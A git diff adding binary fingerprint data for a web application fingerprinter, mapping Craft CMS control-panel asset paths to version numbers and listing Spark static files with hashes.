+)cpresources/2f76995/login.js?v=1710972854 +4.4.8"9 +.cpresources/6c1b0644/jquery-ui.js?v=1710973356 +4.5.0"7 +,cpresources/44b9ed00/garnish.js?v=1710976662 +4.5.3"; +/cpresources/a3e8d430/css/login.css?v=1710965484 +3.8.12"B +6cpresources/be3c4c1f/images/icons/apple-touch-icon.png +4.5.15"D +9cpresources/e0acb9f4/jquery.mobile-events.js?v=1710976944 +4.5.4"> +3cpresources/63468a9b/css/selectize.css?v=1710972364 +4.4.7"3 +'cpresources/5f96edab/cp.js?v=1710967447 +3.9.11"? +3cpresources/24587369/jquery.payment.js?v=1710975570 +4.5.13"? +3cpresources/b274ee57/css/selectize.css?v=1710976109 +4.5.15"F +9cpresources/2276089b/jquery.mobile-events.js?v=1710977805 +4.5.6.1"? +3cpresources/e46705e8/css/selectize.css?v=1710970181 +4.4.11"K +9cpresources/ec1ba3b4/jquery.mobile-events.js?v=1710973985 + 4.5.0-beta.2"= +.cpresources/5b82debf/jquery-ui.js?v=1710979317 + 4.6.0-RC1"5 +*cpresources/5deb8636/images/icons/icon.svg +4.6.1"9 +.cpresources/bb128c8f/jquery-ui.js?v=1710972364 +4.4.7"J +8cpresources/6f40fb3e/css/tailwind_reset.css?v=1710973985 + 4.5.0-beta.2"H +;cpresources/e69a0dd/element-resize-detector.js?v=1710972607 +4.4.7.1"A +6cpresources/b1dfe72c/jquery.fileupload.js?v=1710968001 +3.9.4": +/cpresources/7da6914/xregexp-all.js?v=1710968822 +3.9.6": +/cpresources/895099c/xregexp-all.js?v=1710972854 +4.4.8"G + +2cpresources/bf152c29/iframeResizer.js?v=1710975837 +4.5.14"A +6cpresources/978cf4c1/jquery.fileupload.js?v=1710979615 +4.6.1"B +6cpresources/68930d5f/images/icons/apple-touch-icon.png +3.8.13"D +9cpresources/5613b236/jquery.mobile-events.js?v=1710982103 +4.8.1"6 +*cpresources/80eee9a9/login.js?v=1710965795 +3.8.14"> +2cpresources/2aac3741/iframeResizer.js?v=1710965943 +3.8.15"B +3cpresources/83d6d8ab/css/selectize.css?v=1710979317 + 4.6.0-RC1"G + +2cpresources/6ab906f7/iframeResizer.js?v=1710971094 +4.4.15"D +8cpresources/e372bfca/css/tailwind_reset.css?v=1710970181 +4.4.11"5 +*cpresources/1ae27a45/axios.js?v=1710976662 +4.5.3"< +0cpresources/f0c0aecd/xregexp-all.js?v=1710965007 +3.8.10"5 +*cpresources/188e9b8c/axios.js?v=1710966413 +3.8.7"5 +*cpresources/98cc9eac/images/icons/icon.svg +4.8.2"2 +'cpresources/d7906609/cp.js?v=1710982756 +4.8.3"? +3cpresources/fbbb4a97/css/selectize.css?v=1710975304 +4.5.12": +.cpresources/5e905feb/jquery-ui.js?v=1710966096 +3.8.16"5 +*cpresources/8f2b49cf/login.js?v=1710978421 +4.5.8"2 +'cpresources/b03df65e/d3.js?v=1710981466 +4.7.4"9 +-cpresources/b8f8ecc9/velocity.js?v=1710965795 +3.8.14"; +0cpresources/cfd1a87c/xregexp-all.js?v=1710967088 +3.9.1"> +0cpresources/f7d7d16b/picturefill.js?v=1710965176 + +3.8.10.2"D +9cpresources/10cade4c/jquery.mobile-events.js?v=1710982426 +4.8.2"2 +'cpresources/92a7293f/d3.js?v=1710981785 +4.8.0"F +;cpresources/50ed974/element-resize-detector.js?v=1710982103 +4.8.1"9 +-cpresources/1113543f/images/icons/favicon.ico +4.5.11"; +-cpresources/ce1b0902/velocity.js?v=1710965176 + +3.8.10.2": +/cpresources/3f51438/picturefill.js?v=1710967808 +3.9.3"5 +*cpresources/a5457b0b/axios.js?v=1710978720 +4.5.9"8 +-cpresources/965e3119/velocity.js?v=1710966571 +3.8.8"6 ++cpresources/a90d6f01/jquery.js?v=1710968624 +3.9.5"6 +*cpresources/bbd7f4c9/axios.js?v=1710971845 +4.4.17"8 +-cpresources/aa08d017/images/icons/favicon.ico +4.7.4"B +6cpresources/8a8cfbb7/images/icons/apple-touch-icon.png +3.8.16"> +3cpresources/953cd7e5/css/selectize.css?v=1710978720 +4.5.9"? +-cpresources/f40b6ca6/images/icons/favicon.ico + 4.5.0-beta.1"C +8cpresources/92296dc7/css/tailwind_reset.css?v=1710978720 +4.5.9"6 ++cpresources/94cd5c22/fabric.js?v=1710982103 +4.8.1"9 ++cpresources/5e0bb0b8/fabric.js?v=1710971601 + +4.4.16.1"= +2cpresources/efef0663/iframeResizer.js?v=1710980531 +4.7.2"B +7cpresources/361c651b/images/icons/safari-pinned-tab.svg +3.9.0"D +9cpresources/acb9d5ca/jquery.mobile-events.js?v=1710966413 +3.8.7"9 +-cpresources/29375580/velocity.js?v=1710967267 +3.9.10"D +6cpresources/ce09de15/images/icons/apple-touch-icon.png + +4.5.11.1"; +0cpresources/db006d8f/picturefill.js?v=1710972364 +4.4.7"; +/cpresources/5dfb3ff5/css/login.css?v=1710970181 +4.4.11"I + +,cpresources/f40b6ca6/css/cp.css?v=1710973732 + 4.5.0-beta.1"9 +-cpresources/660ffd22/images/icons/favicon.ico +4.5.10"? +3cpresources/f3b8b68b/jquery.payment.js?v=1710971094 +4.4.15"H +6cpresources/f40b6ca6/images/icons/apple-touch-icon.png + 4.5.0-beta.1"9 +.cpresources/17d3a306/selectize.js?v=1710967626 +3.9.2": +.cpresources/bc8fa903/jquery-ui.js?v=1710965642 +3.8.13"6 ++cpresources/70277f6e/fabric.js?v=1710978421 +4.5.8"A +6cpresources/f9e3d642/jquery.fileupload.js?v=1710966738 +3.8.9": +.cpresources/a8bd6afd/selectize.js?v=1710967267 +3.9.10"= +2cpresources/cacb391b/iframeResizer.js?v=1710983083 +4.8.4"G + +3cpresources/3faecee6/jquery.payment.js?v=1710967808 +3.9.3"> +3cpresources/51a3247e/css/selectize.css?v=1710979615 +4.6.1"6 +'cpresources/95ab5caa/d3.js?v=1710979317 + 4.6.0-RC1"H + +3cpresources/28f73762/css/selectize.css?v=1710966413 +3.8.7"7 +,cpresources/70675020/css/cp.css?v=1710967088 +3.9.1"9 +.cpresources/b49afd4d/jquery-ui.js?v=1710981151 +4.7.3"6 ++cpresources/ed7f90ff/jquery.js?v=1710966738 +3.8.9"A +6cpresources/7bb895db/images/icons/apple-touch-icon.png +3.9.4"8 +,cpresources/87e6fa6f/css/cp.css?v=1710971845 +4.4.17"; +/cpresources/1b959b82/css/login.css?v=1710975837 +4.5.14": +/cpresources/3d469723/css/login.css?v=1710981785 +4.8.0"< +0cpresources/e02015f7/xregexp-all.js?v=1710967447 +3.9.11"4 +'cpresources/b0456e32/d3.js?v=1710977805 +4.5.6.1"9 +.cpresources/6ccefb59/selectize.js?v=1710981151 +4.7.3"= +.cpresources/83d6d8ab/selectize.js?v=1710979317 + 4.6.0-RC1"C +7cpresources/ac0deceb/images/icons/safari-pinned-tab.svg +4.5.13"? +3cpresources/53de4fe3/css/selectize.css?v=1710967447 +3.9.11"8 +*cpresources/7bdd4640/login.js?v=1710975041 + +4.5.11.1"< +*cpresources/641de354/images/icons/icon.svg + 4.5.0-beta.2"5 +*cpresources/1fdc4842/login.js?v=1710981466 +4.7.4"A +6cpresources/60865911/images/icons/apple-touch-icon.png +4.7.3"< +0cpresources/2ef3da83/xregexp-all.js?v=1710969750 +4.4.10"6 +*cpresources/5a3ef384/axios.js?v=1710974519 +4.5.10"F +;cpresources/c8b4dab/element-resize-detector.js?v=1710982756 +4.8.3"6 ++cpresources/478f41e7/jquery.js?v=1710978720 +4.5.9"? +2cpresources/1184ce53/iframeResizer.js?v=1710980839 +4.7.2.1": +.cpresources/6a475f6a/selectize.js?v=1710974519 +4.5.10"6 +*cpresources/2491ba8a/login.js?v=1710969750 +4.4.10"E +3cpresources/f843ceee/css/selectize.css?v=1710973732 + 4.5.0-beta.1"> +2cpresources/6fb3ecb/css/selectize.css?v=1710970851 +4.4.14": +/cpresources/4b6fb1c8/css/login.css?v=1710980531 +4.7.2"E +3cpresources/6855411c/css/selectize.css?v=1710973985 + 4.5.0-beta.2"; +0cpresources/c469157c/picturefill.js?v=1710967088 +3.9.1"A +3cpresources/465c4197/jquery.payment.js?v=1710975041 + +4.5.11.1"7 ++cpresources/5bcbfacb/fabric.js?v=1710974775 +4.5.11"9 +.cpresources/ca6ae9dd/jquery-ui.js?v=1710977229 +4.5.5"6 ++cpresources/6697a502/jquery.js?v=1710968822 +3.9.6"2 +'cpresources/ad16d789/d3.js?v=1710972854 +4.4.8"4 +)cpresources/175ce17/login.js?v=1710978111 +4.5.7"> +3cpresources/ffa3c4c9/jquery.payment.js?v=1710968624 +3.9.5"D +8cpresources/fcaef0b5/css/tailwind_reset.css?v=1710975304 +4.5.12"5 +*cpresources/8419c478/login.js?v=1710974255 +4.5.1"6 ++cpresources/d2143058/fabric.js?v=1710982426 +4.8.2"8 +,cpresources/914522df/css/cp.css?v=1710969750 +4.4.10"A +6cpresources/d7906609/images/icons/apple-touch-icon.png +4.8.3"9 +.cpresources/7c2ff268/selectize.js?v=1710967088 +3.9.1"6 ++cpresources/fa44a160/jquery.js?v=1710966413 +3.8.7"> +3cpresources/d0c20e8f/tailwind_reset.js?v=1710983083 +4.8.4"? +3cpresources/c723c913/jquery.payment.js?v=1710965007 +3.8.10"= +2cpresources/209973d3/iframeResizer.js?v=1710974255 +4.5.1"; +0cpresources/d4881c4d/picturefill.js?v=1710981151 +4.7.3"< +0cpresources/353a03eb/xregexp-all.js?v=1710966096 +3.8.16"A +6cpresources/fbaa2eda/jquery.fileupload.js?v=1710974255 +4.5.1"; +/cpresources/4227708a/css/login.css?v=1710975304 +4.5.12"8 +-cpresources/de15f2d6/images/icons/favicon.ico +4.8.1": +/cpresources/86503ce0/css/login.css?v=1710966738 +3.8.9"< +*cpresources/582cedf2/axios.js?v=1710973985 + 4.5.0-beta.2"7 +,cpresources/cc9300ed/css/cp.css?v=1710976384 +4.5.2"? +3cpresources/a209a19f/css/selectize.css?v=1710975837 +4.5.14"A +6cpresources/5deb8636/images/icons/apple-touch-icon.png +4.6.1"> +3cpresources/5fc5f98b/jquery.payment.js?v=1710982756 +4.8.3"> +2cpresources/fb365ed/jquery.payment.js?v=1710971845 +4.4.17"H + +2cpresources/f97b885e/iframeResizer.js?v=1710970181 +4.4.11": +.cpresources/9b6af2cd/jquery-ui.js?v=1710965007 +3.8.10"C +6cpresources/aa70487b/images/icons/apple-touch-icon.png +4.5.6.1"? +2cpresources/bb246785/iframeResizer.js?v=1710977805 +4.5.6.1"5 +'cpresources/59ecb27e/d3.js?v=1710965176 + +3.8.10.2"6 ++cpresources/6a5a6208/jquery.js?v=1710978111 +4.5.7"C +7cpresources/353a71fc/images/icons/safari-pinned-tab.svg +3.8.14"B +6cpresources/87e6fa6f/images/icons/apple-touch-icon.png +4.4.17"2 +'cpresources/531fc9aa/d3.js?v=1710979017 +4.6.0"8 +-cpresources/cf73d527/velocity.js?v=1710972117 +4.4.6"7 +,cpresources/758a96b1/css/cp.css?v=1710973100 +4.4.9"6 +*cpresources/660ffd22/images/icons/icon.svg +4.5.10": +.cpresources/8617dfab/jquery-ui.js?v=1710970396 +4.4.12"> +2cpresources/5fc69394/iframeResizer.js?v=1710963448 +3.9.12"@ +.cpresources/2017c8fa/jquery-ui.js?v=1710973732 + 4.5.0-beta.1"F +9cpresources/88d6a14d/jquery.mobile-events.js?v=1710980839 +4.7.2.1"7 +,cpresources/d5496823/garnish.js?v=1710972854 +4.4.8": +/cpresources/2d1806f9/css/login.css?v=1710982426 +4.8.2"> +3cpresources/45624dab/css/selectize.css?v=1710979017 +4.6.0"6 ++cpresources/56693b3c/jquery.js?v=1710981785 +4.8.0"6 +*cpresources/620ad68c/images/icons/icon.svg +3.8.17"6 +*cpresources/be3c4c1f/images/icons/icon.svg +4.5.15"8 ++cpresources/748b7c31/jquery.js?v=1710977805 +4.5.6.1"; +0cpresources/6a1bb78a/picturefill.js?v=1710982103 +4.8.1"< +0cpresources/f1244436/xregexp-all.js?v=1710963448 +3.9.12"7 ++cpresources/a5161d43/jquery.js?v=1710971094 +4.4.15"8 +-cpresources/febb299d/images/icons/favicon.ico +4.7.2"7 +,cpresources/31cd5c2d/css/cp.css?v=1710974255 +4.5.1"> +3cpresources/e0ff6696/jquery.payment.js?v=1710976944 +4.5.4"2 +'cpresources/58846e5b/d3.js?v=1710972117 +4.4.6"> +3cpresources/b227b64d/tailwind_reset.js?v=1710977517 +4.5.6"; +0cpresources/92dd31bf/picturefill.js?v=1710976662 +4.5.3"A +/cpresources/41dff4f3/css/login.css?v=1710973732 + 4.5.0-beta.1"9 ++cpresources/10f2ea5f/jquery.js?v=1710975041 + +4.5.11.1"8 +,cpresources/8a8cfbb7/css/cp.css?v=1710966096 +3.8.16"7 ++cpresources/8cf04fbd/jquery.js?v=1710970396 +4.4.12"; +0cpresources/7325f8b1/xregexp-all.js?v=1710976384 +4.5.2"> +3cpresources/4249e6e0/css/selectize.css?v=1710979917 +4.7.0"7 +,cpresources/5509243/velocity.js?v=1710981785 +4.8.0"> +3cpresources/6ccefb59/css/selectize.css?v=1710981151 +4.7.3"C +8cpresources/b35aba72/css/tailwind_reset.css?v=1710973356 +4.5.0"9 +-cpresources/4f765691/images/icons/favicon.ico +3.8.10"B +6cpresources/3bf818bf/images/icons/apple-touch-icon.png +3.8.15"; +-cpresources/2db09f8e/velocity.js?v=1710969964 + +4.4.10.1"F +7cpresources/8f9e7ae3/images/icons/safari-pinned-tab.svg + 4.6.0-RC1"B +6cpresources/c0d4ee74/jquery.fileupload.js?v=1710970851 +4.4.14"G + +3cpresources/17d3a306/css/selectize.css?v=1710967626 +3.9.2"= +2cpresources/35ebbad4/iframeResizer.js?v=1710966413 +3.8.7"@ +2cpresources/df5df1eb/iframeResizer.js?v=1710975041 + +4.5.11.1"6 +*cpresources/4f765691/images/icons/icon.svg +3.8.10"I + +3cpresources/e75bb751/jquery.payment.js?v=1710972364 +4.4.7"9 +.cpresources/633f559c/jquery-ui.js?v=1710972854 +4.4.8": +/cpresources/83c8fd4e/css/login.css?v=1710966908 +3.9.0"B +6cpresources/b18a5bfe/jquery.fileupload.js?v=1710971094 +4.4.15": +.cpresources/3972d3b4/selectize.js?v=1710965795 +3.8.14"9 +.cpresources/3a54c753/selectize.js?v=1710966908 +3.9.0"B +6cpresources/db7426c8/jquery.fileupload.js?v=1710974775 +4.5.11"9 +.cpresources/eee375c6/jquery-ui.js?v=1710978421 +4.5.8"9 +.cpresources/175ce17/css/login.css?v=1710978111 +4.5.7"6 ++cpresources/fdfb5f34/fabric.js?v=1710972854 +4.4.8"A +6cpresources/361c651b/images/icons/apple-touch-icon.png +3.9.0": +.cpresources/2b6b2a65/jquery-ui.js?v=1710970619 +4.4.13"B +6cpresources/5b225028/jquery.fileupload.js?v=1710969750 +4.4.10"> +3cpresources/6bdb417b/tailwind_reset.js?v=1710981151 +4.7.3"5 +*cpresources/aa08d017/images/icons/icon.svg +4.7.4"A +6cpresources/606fa2e0/jquery.fileupload.js?v=1710981466 +4.7.4"9 +,cpresources/d5728b7f/css/cp.css?v=1710972607 +4.4.7.1"7 +,cpresources/d7906609/css/cp.css?v=1710982756 +4.8.3"9 +-cpresources/914522df/images/icons/favicon.ico +4.4.10"A +6cpresources/bfede446/jquery.fileupload.js?v=1710973100 +4.4.9"7 ++cpresources/2908dc95/jquery.js?v=1710975304 +4.5.12"8 +*cpresources/a07202bb/images/icons/icon.svg + +4.4.10.1"7 ++cpresources/c8c7782f/jquery.js?v=1710965484 +3.8.12"G + +3cpresources/cae4d790/jquery.payment.js?v=1710972117 +4.4.6": +,cpresources/ce09de15/css/cp.css?v=1710975041 + +4.5.11.1"5 +*cpresources/fcfe77b6/login.js?v=1710979017 +4.6.0"2 +&cpresources/c096a2c/d3.js?v=1710965484 +3.8.12"7 ++cpresources/b5af20cd/fabric.js?v=1710970619 +4.4.13": +/cpresources/e5265649/css/login.css?v=1710980222 +4.7.1"A +/cpresources/d1c97b01/css/login.css?v=1710973985 + 4.5.0-beta.2"@ +2cpresources/528dbbc9/iframeResizer.js?v=1710965176 + +3.8.10.2"< +0cpresources/40c17665/xregexp-all.js?v=1710970619 +4.4.13"5 +*cpresources/3d469723/login.js?v=1710981785 +4.8.0"7 ++cpresources/cd3e549b/fabric.js?v=1710971845 +4.4.17"8 +,cpresources/5992815c/garnish.js?v=1710965943 +3.8.15": +.cpresources/8bae5827/selectize.js?v=1710971845 +4.4.17"5 +*cpresources/f765d047/login.js?v=1710972117 +4.4.6"9 +-cpresources/21cf71de/velocity.js?v=1710975570 +4.5.13"< +0cpresources/fb7813cd/picturefill.js?v=1710965007 +3.8.10"8 +*cpresources/9013ac3/fabric.js?v=1710965176 + +3.8.10.2"? +3cpresources/8bae5827/css/selectize.css?v=1710971845 +4.4.17"5 +*cpresources/c28a273b/axios.js?v=1710980531 +4.7.2"A +6cpresources/77f65b4b/images/icons/apple-touch-icon.png +3.9.5"9 +.cpresources/6c703514/jquery-ui.js?v=1710968822 +3.9.6"7 +,cpresources/2c6bdd4b/garnish.js?v=1710979917 +4.7.0"E +3cpresources/6f40fb3e/tailwind_reset.js?v=1710973985 + 4.5.0-beta.2"3 +'cpresources/1086baca/d3.js?v=1710970851 +4.4.14"7 ++cpresources/70ba379d/jquery.js?v=1710975837 +4.5.14"6 +*cpresources/a4f5c8b5/images/icons/icon.svg +3.9.10"F +8cpresources/ab2f1ad1/css/tailwind_reset.css?v=1710969964 + +4.4.10.1"= +/cpresources/a1078619/css/login.css?v=1710971601 + +4.4.16.1"G + +3cpresources/b35aba72/tailwind_reset.js?v=1710973356 +4.5.0"> +3cpresources/53ca8967/jquery.payment.js?v=1710983083 +4.8.4"7 +,cpresources/77f65b4b/css/cp.css?v=1710968624 +3.9.5"7 +,cpresources/b86c9148/css/cp.css?v=1710968822 +3.9.6"B +6cpresources/ff778e39/images/icons/apple-touch-icon.png +4.4.13"? +3cpresources/6a475f6a/css/selectize.css?v=1710974519 +4.5.10"A +6cpresources/26d374e3/images/icons/apple-touch-icon.png +4.5.3"> +3cpresources/b5320c6f/css/selectize.css?v=1710977517 +4.5.6"D +7cpresources/b8df9c7/css/tailwind_reset.css?v=1710980839 +4.7.2.1"8 +,cpresources/4f765691/css/cp.css?v=1710965007 +3.8.10"B +6cpresources/a2f47fa8/jquery.fileupload.js?v=1710965642 +3.8.13"? +3cpresources/9e69d3e7/jquery.payment.js?v=1710965484 +3.8.12"D +9cpresources/fd8cd651/jquery.mobile-events.js?v=1710973100 +4.4.9"B +6cpresources/f19f6a48/jquery.fileupload.js?v=1710965943 +3.8.15"5 +*cpresources/ae483479/login.js?v=1710966571 +3.8.8"9 +.cpresources/2f76995/css/login.css?v=1710972854 +4.4.8"> +3cpresources/7ed78edb/tailwind_reset.js?v=1710973100 +4.4.9"7 ++cpresources/406b3277/fabric.js?v=1710970851 +4.4.14"C +7cpresources/4f765691/images/icons/safari-pinned-tab.svg +3.8.10"6 +*cpresources/112150e0/login.js?v=1710967267 +3.9.10"D +9cpresources/306ad1a8/jquery.mobile-events.js?v=1710968822 +3.9.6"> +3cpresources/939186c6/tailwind_reset.js?v=1710982426 +4.8.2"3 +'cpresources/90b9ddfe/d3.js?v=1710966096 +3.8.16"9 +-cpresources/9cd1c90a/velocity.js?v=1710974775 +4.5.11"D +6cpresources/deb46cbb/jquery.fileupload.js?v=1710971601 + +4.4.16.1"2 +'cpresources/2bf87a64/d3.js?v=1710974255 +4.5.1"6 ++cpresources/f2b43fbc/fabric.js?v=1710968822 +3.9.6"7 +*cpresources/b50479f8/login.js?v=1710980839 +4.7.2.1"6 +*cpresources/5f96edab/images/icons/icon.svg +3.9.11"E +3cpresources/7c5ef324/jquery.payment.js?v=1710973732 + 4.5.0-beta.1"E +6cpresources/45f90814/jquery.fileupload.js?v=1710979317 + 4.6.0-RC1"< +.cpresources/4f91367f/selectize.js?v=1710965176 + +3.8.10.2"? +3cpresources/a750f481/tailwind_reset.js?v=1710975570 +4.5.13"> +2cpresources/ee23a1c7/iframeResizer.js?v=1710970619 +4.4.13"5 +*cpresources/83c8fd4e/login.js?v=1710966908 +3.9.0"9 +.cpresources/9a1de0f4/jquery-ui.js?v=1710979917 +4.7.0"= +2cpresources/41a6e1e2/iframeResizer.js?v=1710980222 +4.7.1"B +6cpresources/ab39c83/images/icons/safari-pinned-tab.svg +4.4.14"> +3cpresources/a155c87d/tailwind_reset.js?v=1710981466 +4.7.4"2 +'cpresources/e48e0fd4/d3.js?v=1710980531 +4.7.2"> +3cpresources/bffc4e28/tailwind_reset.js?v=1710978111 +4.5.7"7 +*cpresources/60a6132a/login.js?v=1710972607 +4.4.7.1"9 +.cpresources/b8e9f40a/selectize.js?v=1710978111 +4.5.7"8 +,cpresources/163c4c65/css/cp.css?v=1710965484 +3.8.12"5 +*cpresources/22474327/axios.js?v=1710977229 +4.5.5"< +0cpresources/1b4330e9/xregexp-all.js?v=1710967267 +3.9.10"5 +*cpresources/751be145/axios.js?v=1710979017 +4.6.0": +/cpresources/ce6c0d8e/css/login.css?v=1710968001 +3.9.4"7 +,cpresources/17e00f52/garnish.js?v=1710973100 +4.4.9"E +3cpresources/ff5674cc/tailwind_reset.js?v=1710973732 + 4.5.0-beta.1"< +0cpresources/13bb14b7/xregexp-all.js?v=1710975570 +4.5.13"8 +-cpresources/dd305329/velocity.js?v=1710980222 +4.7.1": +/cpresources/d552c144/css/login.css?v=1710981151 +4.7.3"6 ++cpresources/a543a191/jquery.js?v=1710968001 +3.9.4"8 +*cpresources/28e210ea/axios.js?v=1710971601 + +4.4.16.1"9 +.cpresources/b4243300/selectize.js?v=1710968822 +3.9.6"8 +-cpresources/b723f1c0/images/icons/favicon.ico +4.4.8"B +7cpresources/1e764d81/images/icons/safari-pinned-tab.svg +4.5.5"8 +-cpresources/997475ad/images/icons/favicon.ico +4.5.9"2 +'cpresources/febb299d/cp.js?v=1710980531 +4.7.2"B +6cpresources/4e92bc6a/images/icons/apple-touch-icon.png +3.9.12"A +3cpresources/ab2f1ad1/tailwind_reset.js?v=1710969964 + +4.4.10.1"> +2cpresources/435f5409/iframeResizer.js?v=1710970396 +4.4.12"G +8cpresources/7983a03/jquery.mobile-events.js?v=1710979317 + 4.6.0-RC1"C +6cpresources/1f15f988/jquery.fileupload.js?v=1710972607 +4.4.7.1"D +8cpresources/b5615475/css/tailwind_reset.css?v=1710976109 +4.5.15"> +3cpresources/2d8e6c89/tailwind_reset.js?v=1710976662 +4.5.3"< +1cpresources/f22627f/iframeResizer.js?v=1710977229 +4.5.5"8 +,cpresources/3061e214/garnish.js?v=1710970396 +4.4.12"D +9cpresources/5f9626e9/jquery.mobile-events.js?v=1710982756 +4.8.3"E +9cpresources/b3fe585f/jquery.mobile-events.js?v=1710965943 +3.8.15"4 +'cpresources/d5728b7f/cp.js?v=1710972607 +4.4.7.1"7 +,cpresources/aa08d017/css/cp.css?v=1710981466 +4.7.4"G +8cpresources/84c36289/css/tailwind_reset.css?v=1710979317 + 4.6.0-RC1"2 +'cpresources/1e764d81/cp.js?v=1710977229 +4.5.5"7 ++cpresources/46564c1/garnish.js?v=1710974519 +4.5.10"; +/cpresources/a320943/picturefill.js?v=1710976109 +4.5.15"A +6cpresources/9a95bceb/jquery.fileupload.js?v=1710980222 +4.7.1"? +3cpresources/fcaef0b5/tailwind_reset.js?v=1710975304 +4.5.12"E +9cpresources/ee09bdc2/jquery.mobile-events.js?v=1710974519 +4.5.10"9 +-cpresources/7a3175ea/velocity.js?v=1710975304 +4.5.12"2 +'cpresources/2c294352/d3.js?v=1710966908 +3.9.0": +-cpresources/c9843e5/selectize.js?v=1710980839 +4.7.2.1"A +6cpresources/7ec624b5/jquery.fileupload.js?v=1710978111 +4.5.7"2 +'cpresources/42b14812/cp.js?v=1710972117 +4.4.6"9 +.cpresources/cf87a512/jquery-ui.js?v=1710967626 +3.9.2"2 +'cpresources/a2328451/d3.js?v=1710973356 +4.5.0"5 +'cpresources/14d31e4c/cp.js?v=1710971601 + +4.4.16.1"= +2cpresources/587ec01d/iframeResizer.js?v=1710979017 +4.6.0"2 +'cpresources/20caf7d3/d3.js?v=1710978421 +4.5.8"< +0cpresources/d60493d0/picturefill.js?v=1710966254 +3.8.17"B +6cpresources/95f19f5c/jquery.fileupload.js?v=1710967447 +3.9.11"3 +'cpresources/be3c4c1f/cp.js?v=1710976109 +4.5.15"> +2cpresources/2d96435/jquery.payment.js?v=1710966096 +3.8.16"3 +'cpresources/87e6fa6f/cp.js?v=1710971845 +4.4.17"? +3cpresources/b5615475/tailwind_reset.js?v=1710976109 +4.5.15"= +2cpresources/22d08b4b/iframeResizer.js?v=1710966738 +3.8.9"G + +3cpresources/3d85fe65/css/selectize.css?v=1710974255 +4.5.1"D +9cpresources/3001e2f8/jquery.mobile-events.js?v=1710973356 +4.5.0"B +6cpresources/85112466/jquery.fileupload.js?v=1710965007 +3.8.10"6 +*cpresources/5aef865/fabric.js?v=1710965007 +3.8.10"= +2cpresources/8998b152/iframeResizer.js?v=1710982426 +4.8.2"> +3cpresources/d548eabc/tailwind_reset.js?v=1710982103 +4.8.1"E +9cpresources/2cf38855/jquery.mobile-events.js?v=1710967267 +3.9.10": +-cpresources/16e2f23/jquery-ui.js?v=1710972607 +4.4.7.1"N + +3cpresources/bbd13b37/jquery.payment.js?v=1710966738 +3.8.9"D +8cpresources/1a4e4c55/css/tailwind_reset.css?v=1710974775 +4.5.11"; +/cpresources/ce39b15c/css/login.css?v=1710971094 +4.4.15"< +/cpresources/1fa4d02e/css/login.css?v=1710977805 +4.5.6.1"C +7cpresources/a4f5c8b5/images/icons/safari-pinned-tab.svg +3.9.10"8 +,cpresources/7379cddc/garnish.js?v=1710974775 +4.5.11"B +6cpresources/40eb8940/jquery.fileupload.js?v=1710966096 +3.8.16"? +2cpresources/b8df9c7/tailwind_reset.js?v=1710980839 +4.7.2.1"6 ++cpresources/90fa70e2/jquery.js?v=1710979917 +4.7.0"; +0cpresources/a1c0b5dd/xregexp-all.js?v=1710977229 +4.5.5"9 +-cpresources/c350215f/velocity.js?v=1710963448 +3.9.12"B +7cpresources/b97aae27/images/icons/safari-pinned-tab.svg +4.5.6"= +2cpresources/a677de3e/iframeResizer.js?v=1710972854 +4.4.8"C +8cpresources/bc7ee9aa/css/tailwind_reset.css?v=1710972854 +4.4.8"6 +*cpresources/5dfb3ff5/login.js?v=1710970181 +4.4.11"9 +-cpresources/e82fa7a0/images/icons/favicon.ico +4.4.11 \ No newline at end of file diff --git a/google/fingerprinters/web/src/main/resources/fingerprinters/web/data/community/spark.binproto b/google/fingerprinters/web/src/main/resources/fingerprinters/web/data/community/spark.binproto new file mode 100644 index 000000000..140ced15e --- /dev/null +++ b/google/fingerprinters/web/src/main/resources/fingerprinters/web/data/community/spark.binproto @@ -0,0 +1,13441 @@ + + +sparkL +&static/jquery.dataTables.1.13.5.min.js" + 49da958d502c55c537af2788b7ed7ac8D +static/bootstrap.bundle.min.js" + e3d05bfd0bbbfabd7f06427c4894787d‘, +vis-timeline-graph2d.min.js.map" + 9bdf9ee60e71ba3da18981ddc1360664" + 6a68d71be8279a2c4139e4613c79fce3" + 48a5595256ce9a02bc6b15fdd8011b53" + 37fea99adb2c3188fa4e002d025ffd77" + 610f1f0e8889e2e5ebc50416761e20cd" + 30d580d47b95670321fe53ac8b6ca7cd" + da81b5812eac1cc43ea5c64806983cac" + ccb811e01cd4bc9c63ed36605f5fbf9b" + 3aea21b847bad93fc63433d250b18bb0" + 5a64f97dd6110de2caf2623c14406849" + 116289a29128f3cc01b187618c043581" + 81061e0305d0405225511950cc05e834" + 42271f88be0a9192d3428a5a0178bf8f" + 66cb95bdb8bfc5be5180c72ae36cf96a" + 0cdf77391257966d699b953fb2904d50" + 3da30455182124caeae15f6fcca3be43" + 746130fdbe30adbd856d100d629720b5" + 94485ee4cb7343d3f931c96b37913132" + 43dda7c74d256ba1363ae67b9ec0a8b7" + dd41d841b0f7dda6f74e26a06749e6be" + 8876549e873e11943a60fd4bb8fd01cb" + d78e43d1056f2f1f19f086688f2294ef" + d4bc6eba3434c21329d6c0b447fc878b" + 6d4dc09f8c04b64fcd6bf0eab9b66a14" + 5eb2095869a4ea8aa8ca19f8cdb4a73a" + 9565bbf993b0b5e9c8474030151eed63" + 606f292ec0873c232eb578a0c14ceb6b" + 25578b75237afa1b63985edbd7bf2abf" + 1aad396a3cb6cb2fd611073d48eadbb2" + f531474d791a00611767795032f0059d" + c309a396cf03730db383a8266045eee9" + 8bdb1f1698917e91661030bd65157a3e" + 1b0becc2210bd1873e117c06c8afcf04" + 2e1ce3fd27e5bc5584463be9a41d9bf4" + a48daf2d8d62a226cd21aeae51271cbc" + 398fce84e76a722626b6f59ac6020e02" + 5635264466f31166f6c50faf4c4cf1e0" + a1d2fc6184fe7f6a0aa3e811befb772e" + 9067f5dfa4d922a5b1efd706b7384d20" + 4fc191e579a537b8ec3ad73756763ee9" + 301bf2accc1ffabebd256812ee13d32c" + ead29ef5060b295676fe84335477adda" + ba5077bc2562daa1b58c9ad358dc6e80" + dedb18271f4c6de4713df275787f8199" + 10b4140b3917b7f0343a337f5da657f5" + 59c9dbffbc45b04577e965ee38164eca" + 41790d0529b55dfb71410a0f11f211f1" + 4d3a6f68faf2854582a9d9ec1976c957" + 70a331f6ba86cfead5df4859530737f7" + 968dd9eaa25c03dac9c78b39149331bd" + c9d394f78da0e64ba44691cc2c09ab50" + fa9225d731a1fbce1e22ddc631674b39" + c412e61332b0d4d814a390b8413d3a97" + 616eae791cff8115cd3adf650c3c018e" + 25cba6c55ffd635cbc3c0fb54ffdb4e5" + 2a92ec420b273e5062597b494793f3b2" + aab6e6d7f5e955bba20d88cb1ac3ab92" + c25da981cfe8b418f13b5b847f3ca98f" + 